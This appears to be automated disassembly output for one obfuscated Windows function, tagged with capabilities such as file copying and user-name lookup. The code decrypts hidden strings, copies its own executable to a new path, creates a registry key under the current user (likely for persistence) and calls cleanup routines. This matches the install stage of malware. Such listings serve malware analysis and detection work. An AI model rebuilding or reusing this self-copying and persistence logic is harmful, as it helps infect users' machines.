Function at 0x69644ecf
Capabilities:
Copy file
Get session user name

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x2a6c
call fcn.696475d0
sub esp, eax
mov eax, esp
mov dword [ebp - 0x2a3c], eax
mov dword [ebp - 0x20], str.af285e110057b3c9b372d2f18e92262b6625f1cbc7889a6a51d81d03871d9eb42eeb5b23f671358ed9b803d6e23893cdc50ee1ca9927115c9a359eba3e23a1559af8d547489b66aeffa1422679b7959ad48f2dc5ebb27e0fa2369aab4866f7c475ac1cd80bb372e0391fc0c40c9781468748be49e42a53a55a6c929cdcdefdc3bf6550701f26c418325abd4ecd9f3316b0df6c4aeab846748ee88adc72fca9e3dd0f4fce577971286f4ec9a541684088b56c1ac873dbbaa94c5cb2023e9877fa8671dcb542691cc5073beffaf2c3b2cfd5ba32e6c4b235b8ef228af39671938b539a5cff5515a9540f2e864044efc5a066b0b35966274bff99f0dcb70888672b
lea eax, [ebp - 0x45b]
mov ebx, 0x69651580
mov edx, 0x39b
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x45b]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0x39b
call sym._y2Ob5
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov edx, eax
sub edx, 1
mov dword [ebp - 0x28], edx
mov edx, 0x10
sub edx, 1
add eax, edx
mov esi, 0x10
mov edx, 0
div esi
imul eax, eax, 0x10
call fcn.696475d0
sub esp, eax
lea eax, [esp + 0x24]
add eax, 0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._strncpy
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x30], str.c16c8aa9d60c2235f269f2c4632acaf56af06f1a128f4d54120ca3215de2a3005d940d49cd20545136affeb377b162d834e93a502c9b4a79f32adbfe9fc04c743ac9b3069a901e87d63e3d46c35b450c336e6cde5e1e01508ee77b4c01722c94876b7b30c594ccdfa92ddb318cd6f347b0927f75457288fb0336cfc871d9c7d864a919f4f4b78948590bfe587542db3f3376828b25299119e980e8d113de68e96e9b19e44d4050a0fadfa2b3d8adb2260cc4750b8ca0af074a7c6ce8d09e6dd735e0b57d3379bd142d246ecd5007267df958d7e3a236924130addc7d4ad3ff1b692c65e631a52abf86051d0a44c9ed90120ccc8cb996dcff5a1d40108441b932
lea eax, [ebp - 0x86a]
mov ebx, 0x69651920
mov edx, 0x40f
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x86a]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], 0x40f
call sym._y2Ob5
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x34]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x69645046
mov dword [ebp - 0x1c], 0x37b5
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x1c], 0x37b5
jne 0x69645064
mov eax, 0
jmp 0x69645a95
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], 0x36c5
mov dword [esp], eax
call sym._b5k8unES94YQkICLecnF2L0vtxKB
xor eax, 1
test al, al
je 0x696459d9
lea eax, [ebp - 0x1f76]
mov ebx, 0x69651d40
mov edx, 0x3b4
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x38], str.0632eb3fd6567fcc4beda94a1818c29ba5a7947cc93b3ff3969efa57e1867f6433f489958b9a2075eea5b96628e4451d1e48d7e3753b7488455e8a0169db641e1a75f7d8d3384c7e8244b23a147ac94d63b1e29536300f36b1d401d4a8216de41da05e775ba650f39a60ba278a2eb4dc62495aa13c9970c9908be18bac18095951b6b86c87ad12c83cf0f93c101c764b988136c77b1fe79b49e931246d0e2c31b911f01b64c78a9e58df2f85ccaa18aa8e9a0b0366f4d1cda14bb08dd4e89df0ab99ffd283bb3bf16b35e2c516e29994705e9356e77b85f8fff9e8ce5f90322418776148edc32dcc3d458e8c432147584b2110acece34b7b92536ae6d225df1733e810c4e603e60ec43e6594a9acb06115ab4bd30ba20eea84b4c61f79ca62f25d018b0c01587bc55ea2300ab5527d7e56bd22b8f0be6dd9b7e7525f7e7f0ea3fd02e0676fb862e1563c8e9e0e7eff30ac8ff409c0c451f96bba3641d8e959f877ec3f7969d5f84c13c5332d3c7c3a1a797d297120322566efb87aaa2316ecb7036e31c6ade375564b1f02719fdfb98510463fd38eab086842448a91ec623b35687f6cfeb2ce4f41bc3423dcbc2ce109533dde219cc5e6bedf239903b8ea1ce89ab7db5daa9113e7b65b4a611ea88fbc07538a7de9615a83fd1c5e8054de71f3864bbb07b73764fa13de4d08a83d1064913a70b354c1bcd64eee9f8ee66e213c28d2a9d74d55c6898bef3cd4bcffe2f2b01d1f2218fd32a25f74048d1090706cb4017edba809b96d34746a2581842e2f44696c9c3ede80aff442f020f02bd03da2777d0677521323a57e054142cc94a5f8f73e12723319bdcc643bf38f30a167703553fcfe867c494eeacb3348cb02c594504168ba5e5efa17401751a369e9d6ac2aede89f9cde50bc99473b08e63e4151390d83586c5dcfd3fb8da10618e6d1c220b1c18c1835c65968a6b830ea45f0e7b46908c4a47c0409f3e40c2c0015a6aecfff073bd53fa8d610f12aaea8034c160499aa55faf067cedb598584ec8655b270c966b1c671b1fed8d67df60e05dc14e55b63e119c6510121edb8133451197e93f649abc659ebb6b7bfb7f47cd5b4bf182362253b709bb904264ea8c76a7524f95c00bb3c5f356e090cc0ae1c6c551614dcd5e5ac17e4231b10315f677ec88fe8d44065961fcf31ada676044d1a0f96cf53ff32256cb8627d00b06c2a349dd8b9ca5d56f9ad7e525546fd36d95a3f1836e42ac0f56ee99722942f97b9ff9247e2031c09fe3339afa864f2e1763ac6ff42c9d1274b4505fddf00e08a0090313e8d7227cde062493503d94cd37f88dd141edf1f0361e03d860728cd18effa43174fcf91f3a7c170ca6a3df89192ad0de98d7e3466a0d8c7d3912127bca9b93022b31017104bd6b4266e228d455e8a546ad832431027a9d48e37467d8812b86714779f4b67ede09c60370c36e0da5cdea4763ce41fa6522201a153a3c867ef70df2ae1db671a5df035c02398908ae4daaf4a0a0450e3b739d0aa15986ff6f930464b711ecbdd3fc57815e1cd1ae430273d592f67b944a21e39c3d1cb598c2ed1c8ff1dfddac90a0465a7d19bf846e38a84e4cef7fccdacd3d0e93ea43f35b2c342e5cd937e079552b22d82fbf6aee89f5c9161271e706413ec9275986d43d6de122c420d412845abbee01c7cc20939e08125d94235bb14c0bc01e3079d3d32c1aaf9e03513fb4cdb0bfe05bf82e6c3197a9c33a85d57d95d065621c459f3385ae954712856b571bfa1ee6fd9b4e106097d2b09a6ae09e16168bc65e70531899b0b2df433fcd3f25ecbc350ae6cbc624c8bee5bf77bbe30796cdaa84b16ca64296d7c6a1b2828252072332e63bbbb21aa7e41ece25a6833c2fbb42502161f0425cf8fe8d0441535d6d3fb5a6c4047d691e0626e3e392c3ba3b8cd1816ed367288e12be50503628d269ac9bebadd269004bbe148efcebcdc0eaec317e2e20d48344daed5be52538b7de26606d0fa4e0a8404df70f3d34dbb56e76263f7468f1b5cad691236913121e95795b8d24cec9b8be16d71692e82f4804453c7dcd6ef3c82bbfbe0a5b04a1a274cf968a6097907d913937e62e1022fdbfa5de86834266f7480d5292e493f3dcb38d980aea04da371f62d8632f7782d507e031023a07e011942cb94a4aba46b18206610ed9b686ba0da62f362276553a8aa80294e4cefcb671c950b9fc451126abd5c58fe1715190ef135b8d6f878ecb69b94d102bc9e126f0ce53a4351360bd5026b0d95d3af8cf65148e5dc9321ea938b4e31c20c3bf5b631b812a3b5b5680d92a72c0259afe4022b0a42fca8cda90a3dd23bf9d711aa22f0f6551e4306cbfa50fca13fcc8057d484bbd657e423c960b3cb77b9fd89d52bf801508944b55f3be54f95520022bbbe406201117e90a21dabc752b8e4e7e3b9a77182bae81b22352038269ae1062918ffcc622121ff0e55bb6b0364630d5b95af1c695f4712dad9bef848e0701d463350617fcf80b8d4446a981b9f35f9fc25041c4b0cc49f51ad302a32ba332801b0687d60cadbb99a5657f1a87f58571cf235890b311f33ee2c91f16abdc12fc122c0e4fe954eb3041d55fd3639f7fe6ef7e32567cdaa46cbd2751f1602fa8d55bd8153c5606a83762491b762156f0e8e1cd27d84df161bdf420637ee3bd6037f9117edac4c184dc299a0fd9423ce3c3fa89691ff0ebbdf256634f28996d1982572eefdbc6028ba454d1e4f8de3723e74d942058a0669d8641e1f70f0d88f39167ade15e862147bc94c64b7e595366a0a32b4d401d6ad216dbf1df55e2a07f457f19f63bf268f28e8d962495ff33c9970c890d4bd8fa91e0c0e51e7bd6980a44ecb60faf93810497312c4dc36c47b15e2c8
lea eax, [ebp - 0x1f76]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], 0x3b4
call sym._y2Ob5
mov dword [ebp - 0x3c], eax
call sym._F7UJrkeqXcvO2
mov dword [ebp - 0x40], eax
mov dword [esp + 4], 0xa
mov dword [esp], 3
call sym._WeEn4c
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], str.bff66276a4d5a3c06c95da110b0aee7d4bae0a215f4daac36906c2d932467f9d
lea eax, [ebp - 0x17fa]
mov ebx, 0x69652100
mov edx, 0x3ca
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x17fa]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov dword [esp], 0x3ca
call sym._y2Ob5
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._crdh9yB
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x26a5]
mov ebx, 0x696524e0
mov edx, 0x396
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x54], str.beaf2603f913930b2ad6de9c26d4cac5fe3ab2bdf868af532ce5468f3e208b19a1f23a970796b0ef
lea eax, [ebp - 0x26a5]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov dword [esp], 0x396
call sym._y2Ob5
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._yJLtrfP1AFjq9VsA06X
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
mov dword [esp], 0xdb1
call sym._affZoZyj5QQfO
mov dword [ebp - 0x60], eax
mov dword [esp + 8], 0xdb1
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x60]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sym._free
mov dword [esp], 0xdb1
call sym._affZoZyj5QQfO
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xdb1
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._snprintf
lea eax, [ebp - 0x2a35]
mov ebx, 0x69652880
mov edx, 0x390
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x68], str.7e283b962ba86478cb678f7fa644047d25fefac38279c96131f09d2d716347e826913c87f36cab4be19bc5f5e9a622d0c54e812b879ba6c48f2249e92656e457bb0f9de22cfac5e90970feeb0caa47b9947c6641b2a672a5
lea eax, [ebp - 0x2a35]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], 0x390
call sym._y2Ob5
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
test eax, eax
jne 0x69645342
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
mov dword [ebp - 0x870], 0x1b6
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sym._bnYzhllHf1glq58Hr
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x870]
mov dword [esp], eax
call sym._affZoZyj5QQfO
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x870]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
test eax, eax
jne 0x696453d8
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
mov dword [ebp - 0x78], str.44b60ec791b6b594ae53a61fa5aa8346440dcac952072cb9643f398b1f1282369a8309226fb99ffc79e7afeea9d0915ea5d97a1a3cbe19ef036c9e49e2c6321587a568b2423eb6ed0e6972fac9cd27cad745ad68d8ab3f11fa64c0440b2eb89992c9ec8e3079ad44
lea eax, [ebp - 0x105a]
mov ebx, 0x69652c20
mov edx, 0x3eb
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x105a]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x78]
mov dword [esp + 4], eax
mov dword [esp], 0x3eb
call sym._y2Ob5
mov dword [ebp - 0x7c], eax
mov dword [esp + 4], 0xb
mov dword [esp], 4
call sym._WeEn4c
mov dword [esp], eax
call sym._crdh9yB
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sym._bnYzhllHf1glq58Hr
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0xc6f]
mov ebx, 0x69653020
mov edx, 0x3f2
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x88], str.1ee9fbfe1f262f7e65040a1a0df22bea7d2dd8d555dcabe40803bfd4d68bb4c4
lea eax, [ebp - 0xc6f]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x88]
mov dword [esp + 4], eax
mov dword [esp], 0x3f2
call sym._y2Ob5
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], str.bc61c45676ef64b71a3df5262b686f53a97f04b9a3e49cc8b5f66791730fa9e4e7f2508a774efba61f35bb0268951d4a04a4774729de623557d0dfb1062b3f8bb72997c0a7c07aef0d089145e7a7f9edfb55d7bd7b7fa5c4fd06bab29752fa4b83ec70022f7423863e9217ce4ff2fc9a8e2ac9da560fd1b317e2c6c72f65a59e2ea77580841a3990741c63afd682ffcb8e57afc93585881220f5907176a39ecc6ae89e9a25e27f6cf5697174dc33f25d7376dbf7830a6b19368cb92885254e5ea38d058ea1a65672daeb17921d43598d25b179ed847168004de344729c25a1ba9e90b475f091a34ececb83fb84f63f2377f38b0a482975a59a11782c6a0b2fe42974712d2e79126a39c0a68de1df87aae60f75ffcbb37d6477d72f16ba2bbaa0c813f6cfc10c76dab7f1fbc32c4bd2e7
lea eax, [ebp - 0x1430]
mov edx, 0x69653420
mov ecx, 0xf5
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, word [edx]
mov word [eax], cx
lea eax, [eax + 2]
lea edx, [edx + 2]
lea eax, [ebp - 0x1430]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x90]
mov dword [esp + 4], eax
mov dword [esp], 0x3d6
call sym._y2Ob5
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x80]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._yJLtrfP1AFjq9VsA06X
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x98], 0
jne 0x696455d6
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
mov eax, dword [ebp - 0x84]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sym._bxSfUKFjx9TK68wdXvCMpe
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x9c], 0
jne 0x69645631
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
lea eax, [ebp - 0x230f]
mov ebx, 0x69653800
mov edx, 0x399
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xa0], str.857abb2aff0b17539b7a3732561d8d2ba3f63e928338b3cc2ad7d35179f3c5dd2e82f2585da52462ffac2bf9cfb3eb266e6606a8415fcc2b596bd03eed0205c8d343346dab3ffabed84370d6339b7274
lea eax, [ebp - 0x230f]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xa0]
mov dword [esp + 4], eax
mov dword [esp], 0x399
call sym._y2Ob5
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sym._strlen
mov ebx, eax
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._strlen
add eax, ebx
add eax, 0x56f
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call sym._affZoZyj5QQfO
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x9c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xb0], str.75c6bb6baceb760bde5b4b06f743d274d9c5614f860dbf57aa973c99fc6d1259bff8c0c7eb12756b52e511850557dde912dcb93fcb67e4fa91c2a7f2eebbee24f800f7048c0eb91681af17725042bcf1c11f780acb1169846caf1169547c4c9fe7fb0f8120e1a4da52a01f152efe47a90832a3391d9d7455fbbe75172427aac9f0f0f8f359d541b07ca8df8b5b23c04b7b357ba41bf58d6d6898ee44ec4fc3ce813385955bd9d2c466880ff9cecd4d076faa1d97cd8c53ea3dcc309d5479f2aa899e95ea0ec2929933e493eaf8fb542ba0774d3587c5207c887bf3e59844659265f85763a7b9f0b9fe79e0371c9033ba39d930206a44a1e74a51b85eca3e105afffb32f1e2d806b4df332f354a0db9460dc5b15b8c4e5ee09a7ab142fc53e3ff47deb7cb0e8b040e10cdaffdb67a4ece4f14349063d59d8545eb9ff5b2245c433d881e0a1c8d03eed040dfaf6bb4933d1be11bfb23b43e4f77a495ea639ad247d33469ca3a84595e8033fa5ac4313cfa3dc66c7009d3e20b389562b5a945e7aa8f799d3e3e95dc9e2523036a45ff95ef638d00d64fd10cb0beb1ce7e36c8d645
lea eax, [ebp - 0x1bc2]
mov ebx, 0x69653ba0
mov edx, 0x3c8
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1bc2]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xb0]
mov dword [esp + 4], eax
mov dword [esp], 0x3c8
call sym._y2Ob5
mov dword [ebp - 0xb4], eax
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x874]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xb4]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x6964583f
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
mov dword [esp], 0x63a
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x874]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 4], 0x5cf1
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sym._b5k8unES94YQkICLecnF2L0vtxKB
test al, al
je 0x6964596c
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], 0x36c5
mov dword [esp], eax
call sym._b5k8unES94YQkICLecnF2L0vtxKB
test al, al
je 0x696458ff
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._free
call sym._DMBxZJ7nKLZTw0LdmFDapLMoMP
mov dword [esp], 0
call sym._exit
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69645a95
lea eax, [ebp - 0xc6f]
mov ebx, 0x69653f80
mov edx, 0x3fb
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
